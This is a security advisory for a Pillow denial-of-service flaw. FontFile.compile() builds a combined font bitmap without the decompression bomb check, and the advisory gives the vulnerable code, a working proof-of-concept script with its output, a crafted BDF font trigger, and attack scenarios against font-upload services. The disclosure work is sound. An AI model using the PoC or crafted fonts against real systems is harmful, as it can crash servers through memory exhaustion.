Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

## Description `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new("1", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved. Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. **Vulnerable code (`PIL/FontFile.py` lines ~64–92):** ```python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines * h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation ``` **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:** | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | **179,200,000** | | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = **16,776,960** | | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** | | **Ratio vs. DecompressionBombError threshold** | **75×** | | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** | ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) # Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H) try: Image._decompression_bomb_check(combined_size) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combined_size}: {e}") # Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised px = font.bitmap.size[0] * font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS * 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.") ``` **Expected output:** ``` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point. ``` **Verified live on Pillow 12.2.0 — compile() succeeds with no exception.** **Real-world trigger using BDF font file:** ```python from PIL import BdfFontFile import io # Load a crafted BDF font with 256 glyphs each claiming height=65535 # (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) # compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ``` **Attack scenarios:** | Scenario | Effect | |---|---| | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process | ## Impact - **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - **Confidentiality:** None - **Integrity:** None **Affected call paths:** - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()` Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08. Source Code Location: https://github.com/python-pillow/Pillow Affected Packages: - pip:pillow, affected < 12.3.0, patched in 12.3.0 CWEs: - CWE-789: Memory Allocation with Excessive Size Value CVSS: - Primary: score 7.5, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS_V3: score 7.5, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H References: - https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2 - https://nvd.nist.gov/vuln/detail/CVE-2026-54060 - https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d - https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml - https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst - https://github.com/advisories/GHSA-5x94-69rx-g8h2